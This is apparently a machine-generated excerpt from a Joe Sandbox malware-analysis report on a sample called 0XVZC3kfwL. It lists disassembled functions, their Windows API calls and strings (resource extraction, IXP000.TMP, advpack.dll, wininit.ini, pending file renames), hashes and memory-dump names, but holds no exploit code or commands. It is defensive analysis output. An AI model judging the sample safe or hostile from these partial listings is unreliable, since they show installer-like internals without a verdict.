Strings

<None>, xrefs: 00007FF681C24127
LICENSE, xrefs: 00007FF681C2406D, 00007FF681C240D0

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 1c43a6c209edff215d2b42a35ca82b93fc35595726ea4f293da311bf4292f90f
Instruction ID: 9043c33acbc4c10e9439685a4e5373d65841c7acd6ec264bb848cf23f32c86e7
Opcode Fuzzy Hash: 1c43a6c209edff215d2b42a35ca82b93fc35595726ea4f293da311bf4292f90f
Instruction Fuzzy Hash: CC313472A19652C7F7609F20E8557BA7670FF9D786F706539C90E866A0DFBDA004CB00

Function 00007FF681C27984 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C2625F), ref: 00007FF681C279BB
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C2625F), ref: 00007FF681C279CA
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C2625F), ref: 00007FF681C27A1A
FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C2625F), ref: 00007FF681C27A4E
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C2625F), ref: 00007FF681C27A67

Strings

UPDFILE%lu, xrefs: 00007FF681C27A2B

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$Free$FindLoadLock
String ID: UPDFILE%lu
API String ID: 3629466761-2329316264
Opcode ID: 912f736fff6cc648edac57934596fe713f99585f0c6d65f4e9552fedd6e4e983
Instruction ID: 93159f86b6b466e8df77863aea8fc8245d9c3b35d5a01a4adb9d7bc73ddbcb6f
Opcode Fuzzy Hash: 912f736fff6cc648edac57934596fe713f99585f0c6d65f4e9552fedd6e4e983
Instruction Fuzzy Hash: AA319F72A18B41C7EB508B25E4411B9BAB1FF9DF50F65A239DA1E83394CF3CE505C640

Function 00007FF681C251F8 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25220
SizeofResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25231
FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25257
LoadResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25268
LockResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25277
memcpy_s.MSVCRT ref: 00007FF681C25296
FreeResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C252A5

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID:
API String ID: 3370778649-0
Opcode ID: 2722992ef715b720f40bc041322e554c29a54f2f23c26d5441508fe68943f667
Instruction ID: 8a7daee2c57dd596f1fa1f7d7e888ef5a17d77130e1dba8e59bc9d2829aa9f87
Opcode Fuzzy Hash: 2722992ef715b720f40bc041322e554c29a54f2f23c26d5441508fe68943f667
Instruction Fuzzy Hash: 3411F461B09B92C7EB545B62A5041BAAAA0FF4EF81B59A438EE0F83794DE3CD441C600

Function 00007FF681C22234 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF681C22261
WritePrivateProfileStringA.KERNEL32 ref: 00007FF681C22290
_lopen.KERNEL32 ref: 00007FF681C222A4
_llseek.KERNEL32 ref: 00007FF681C222BF
_lclose.KERNEL32 ref: 00007FF681C222CF

Strings

wininit.ini, xrefs: 00007FF681C22271

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 272abce5711e61987618d7fa9275a95ad876e249e85b0132ec51f4cc75ec81ca
Instruction ID: 784f72cabd3b9cee75d9b1633c5d1e4b344b3d0af5dd0d3b2b682f39dd5f9b12
Opcode Fuzzy Hash: 272abce5711e61987618d7fa9275a95ad876e249e85b0132ec51f4cc75ec81ca
Instruction Fuzzy Hash: F0113D32604A81C7E7208B25E4542AAB6B1FFCD715F959235DA5E83664DF3CD549CA00

Function 00007FF681C2397E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF681C239CE
SetWindowTextA.USER32 ref: 00007FF681C239EF
SetDlgItemTextA.USER32 ref: 00007FF681C23A0A
SetForegroundWindow.USER32 ref: 00007FF681C23A19
EndDialog.USER32 ref: 00007FF681C23A2C

Strings

gam, xrefs: 00007FF681C239E5

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Window$Text$DesktopDialogForegroundItem
String ID: gam
API String ID: 761066910-4248585140
Opcode ID: f21d8755046b2bff5672eb5e92626a0ccf9070bb66767417a7c329f8521aba4d
Instruction ID: e50a283a505d9fd6606dfb4e1cd7cf4ad587c8915f21018fd3108f40a22ad711
Opcode Fuzzy Hash: f21d8755046b2bff5672eb5e92626a0ccf9070bb66767417a7c329f8521aba4d
Instruction Fuzzy Hash: 9F111EA1E08742CBF7545B61E8092B86A71FF8EB41FB4B138C90E86394DF7CA488C700

Function 00007FF681C24A54 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25220
Part of subcall function 00007FF681C251F8: SizeofResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25231
Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25257
Part of subcall function 00007FF681C251F8: LoadResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25268
Part of subcall function 00007FF681C251F8: LockResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25277
Part of subcall function 00007FF681C251F8: memcpy_s.MSVCRT ref: 00007FF681C25296
Part of subcall function 00007FF681C251F8: FreeResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C252A5

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF681C234BA), ref: 00007FF681C24A7D
LocalFree.KERNEL32(?,?,?,?,00000000,00007FF681C234BA), ref: 00007FF681C24B19

Part of subcall function 00007FF681C24F2C: LoadStringA.USER32 ref: 00007FF681C24FBC
Part of subcall function 00007FF681C24F2C: MessageBoxA.USER32 ref: 00007FF681C24FFC

Strings

FINISHMSG, xrefs: 00007FF681C24A61, 00007FF681C24AB4
<None>, xrefs: 00007FF681C24ADD
@, xrefs: 00007FF681C24AFF

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$@$FINISHMSG
API String ID: 3507850446-4126004490
Opcode ID: 1d4e6bd0a63b8b8b494048026c3f832f350be4f10dc00f629820bf4d9c538aed
Instruction ID: 24b8ae0f766d90a177c9f4b9781ae529d9d061bdee502a2b33c250cdb4652e9e
Opcode Fuzzy Hash: 1d4e6bd0a63b8b8b494048026c3f832f350be4f10dc00f629820bf4d9c538aed
Instruction Fuzzy Hash: 42115EB2A08792C7F7609B24E4517BA76B0FF8D795F64A138DA4E82A85DF3DD004CB04

Function 00007FF681C27C50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF681C27CC8
LoadLibraryExA.KERNEL32 ref: 00007FF681C27CE8
LoadLibraryA.KERNEL32 ref: 00007FF681C27CFD

Strings

advpack.dll, xrefs: 00007FF681C27CAB, 00007FF681C27CF6
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C27C6E

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-476397916
Opcode ID: 49ff66dd0027909a7b800612d590b018d10ed512dde88fa856883505687205f1
Instruction ID: d63289d0d112d2cadd646702d9cc68ba9caedd2344f867aa1e00d988144f2d48
Opcode Fuzzy Hash: 49ff66dd0027909a7b800612d590b018d10ed512dde88fa856883505687205f1
Instruction Fuzzy Hash: 04114F71A18686C7EF619B24E4402F977B1FFAD704FA4223AC94D82691DF3CD509C700

Function 00007FF681C2146E Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF681C214B5
GetDesktopWindow.USER32 ref: 00007FF681C214C7
LoadStringA.USER32 ref: 00007FF681C214F7
SetDlgItemTextA.USER32 ref: 00007FF681C21510
MessageBeep.USER32 ref: 00007FF681C2151F

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 779d4c80867048ee85b76de8b865dc8d6e9560f81da083dc2e25c0ec5bc041cf
Instruction ID: 9006faccb775e197f5bcf39979c40671d306942d05ce0aed189bd149e1b6d494
Opcode Fuzzy Hash: 779d4c80867048ee85b76de8b865dc8d6e9560f81da083dc2e25c0ec5bc041cf
Instruction Fuzzy Hash: 78115E62A08A85C7E7605B61F4443B9A6B0FF8DB55F646335CA5E863C5CF3CD045CB00

Function 00007FF681C23D34 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF681C23D7A
MessageBeep.USER32 ref: 00007FF681C23FB0
MessageBoxA.USER32 ref: 00007FF681C23FE9

Strings

gam, xrefs: 00007FF681C23FDA, 00007FF681C2401B

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Message$BeepVersion
String ID: gam
API String ID: 2519184315-4248585140
Opcode ID: cd403af55b8476f266db926376131480319a2a35561f0b0250f12cd9deded584
Instruction ID: ea8ea6ae13e63e11d0569f45c1048d32d1a55dd8f7a647b3a08aa5b0cc5c1373
Opcode Fuzzy Hash: cd403af55b8476f266db926376131480319a2a35561f0b0250f12cd9deded584
Instruction Fuzzy Hash: 03916862A18652C7FB609B25E44467A66B0BF4C754F34313DDA5ED36D0CE7DE886CB00

Function 00007FF681C27B0F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF681C27BBB
WriteFile.KERNEL32 ref: 00007FF681C27BF2
CloseHandle.KERNEL32 ref: 00007FF681C27C17

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C27B42

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-4151094324
Opcode ID: e045f108fcc8068e113ee9e0e4cf638292a1811dea5a3a985454c52ef67f7177
Instruction ID: 2455e75c4ba31f8211ca71181e3632b8989413f0faa79e92b040bdbbaff70321
Opcode Fuzzy Hash: e045f108fcc8068e113ee9e0e4cf638292a1811dea5a3a985454c52ef67f7177
Instruction Fuzzy Hash: F6315B72618681C7EB618F14E4847BAB7A0FB9DB94F645239DA5D87794CFBCD408CB00

Function 00007FF681C25E44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

#20.CABINET ref: 00007FF681C25EBD
#21.CABINET ref: 00007FF681C25EFC
#23.CABINET ref: 00007FF681C25F36

Strings

*MEMCAB, xrefs: 00007FF681C25ED6

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID:
String ID: *MEMCAB
API String ID: 0-3211172518
Opcode ID: 8f0ecc18e58d69be0ff920eef984cb1b5456fa5790288b24a30beba8d1cf7dc7
Instruction ID: 3c5ec9f0890d4f1fbb878fb1ecaff6a35bd97ddbcf24493fb27b3ea6f57af420
Opcode Fuzzy Hash: 8f0ecc18e58d69be0ff920eef984cb1b5456fa5790288b24a30beba8d1cf7dc7
Instruction Fuzzy Hash: 0831E832A19B42C6EB508B11E4453BA73B0BF5D750FA1623ADA6EC27A0EF7CE444C744

Function 00007FF681C22308 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00000000,00007FF681C22476), ref: 00007FF681C22339
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF681C22383
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00000000,00007FF681C22476), ref: 00007FF681C223A1

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00007FF681C2232B

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CloseInfoOpenQuery
String ID: System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2142960691-1430103811
Opcode ID: ffb65070036c0e638a3fb9cad9fcb0c30fa5a0b7ad628ef0fdab3ccaafb5356a
Instruction ID: 49d71fea027a25350e76d82467a9f1a8c387be56485158c6592c666c2d8feed9
Opcode Fuzzy Hash: ffb65070036c0e638a3fb9cad9fcb0c30fa5a0b7ad628ef0fdab3ccaafb5356a
Instruction Fuzzy Hash: 6B11A772618B81C7E7508F65F44456AFBA4FB89750B645229EB8982B28DF3CD055CF04

Function 00007FF681C286F0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF681C28763
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF681C28782
RtlVirtualUnwind.KERNEL32 ref: 00007FF681C287CF
__raise_securityfailure.LIBCMT ref: 00007FF681C288B4

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 31029eafa361a8816cb3b7c2e50cea46018a43ad4d194b63bd7ab82f81b508e1
Instruction ID: 5d7f66fdd0563cb2716e9baef3fbc3f1e99924ad8a5e0446ad038a855c017396
Opcode Fuzzy Hash: 31029eafa361a8816cb3b7c2e50cea46018a43ad4d194b63bd7ab82f81b508e1
Instruction Fuzzy Hash: 0641B275A08B02C2EB508B19F890365B3B4FF89B84FA0653ADA8D82764DF7CE558C744

Function 00007FF681C2845E Relevance: 6.1, APIs: 4, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 00007FF681C28495
_amsg_exit.MSVCRT ref: 00007FF681C284D0
Sleep.KERNEL32 ref: 00007FF681C284DF
_initterm.MSVCRT ref: 00007FF681C28577
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF681C285A4
exit.MSVCRT ref: 00007FF681C28640
_cexit.MSVCRT ref: 00007FF681C2864F

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_cexit_inittermexit
String ID:
API String ID: 642454821-0
Opcode ID: 09076979b3e96fc5e14e933eaad3d45af6720b0af7fabc4f9cac535cb861094d
Instruction ID: 4246691c399a7acf4cbfa63f4d68cd87b65019fb2a4a8080c7c0d81a4542c0e9
Opcode Fuzzy Hash: 09076979b3e96fc5e14e933eaad3d45af6720b0af7fabc4f9cac535cb861094d
Instruction Fuzzy Hash: E5312732A08646C7FB609B22E89037A23F0FF4D394F68653DDA4DC36A5DE2DE854D644

Function 00007FF681C2874B Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF681C28763
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF681C28782
RtlVirtualUnwind.KERNEL32 ref: 00007FF681C287CF
__raise_securityfailure.LIBCMT ref: 00007FF681C288B4

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 4090816444ccd06f36d04890147d9874dc88da504e5caf5353b8954b97740e78
Instruction ID: b0a76340dd4440f7693c823e2d595351f39a7847da3e4412a685fc087828bd36
Opcode Fuzzy Hash: 4090816444ccd06f36d04890147d9874dc88da504e5caf5353b8954b97740e78
Instruction Fuzzy Hash: 2531E379A08B41C2EB508B18F880365B3B4FF89784F60613ADA8D82764DF3CE558C744

Function 00007FF681C27D28 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF681C27D52
LoadResource.KERNEL32 ref: 00007FF681C27D69
DialogBoxIndirectParamA.USER32 ref: 00007FF681C27D9F
FreeResource.KERNEL32 ref: 00007FF681C27DB1

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 59effaab94a793ca2fbdf558991555ed1e090edb450195feb7077b6de0fa885d
Instruction ID: ea46043a9b2a7480d83365686f6181eb4765688288b21faddb7c13fb1e3250e0
Opcode Fuzzy Hash: 59effaab94a793ca2fbdf558991555ed1e090edb450195feb7077b6de0fa885d
Instruction Fuzzy Hash: D311F972A08B41C7EB508B11E44427AAAA1FF9DFA1F686638DE5D47B94DF3CD440CA04

Function 00007FF681C27EA0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,00000000,00007FF681C22BAD), ref: 00007FF681C27EC4
CharPrevA.USER32(?,?,00000000,00007FF681C22BAD), ref: 00007FF681C27EE0
CharPrevA.USER32(?,?,00000000,00007FF681C22BAD), ref: 00007FF681C27F04
CharNextA.USER32(?,?,00000000,00007FF681C22BAD), ref: 00007FF681C27F18

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 7302f258e324082df56eb9e906256855f42b6e92faf740384e3aaa5bd17368a5
Instruction ID: 112843f22ab906b029561664ae97c7b4a4e68734614ebf44c954fa0c127f3b47
Opcode Fuzzy Hash: 7302f258e324082df56eb9e906256855f42b6e92faf740384e3aaa5bd17368a5
Instruction Fuzzy Hash: C7119162A087D1C7EB510B25E54027DAAA2BF5EFE0F58A234DA2E83785CF2C9840C700

Function 00007FF681C288C8 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF681C288D3
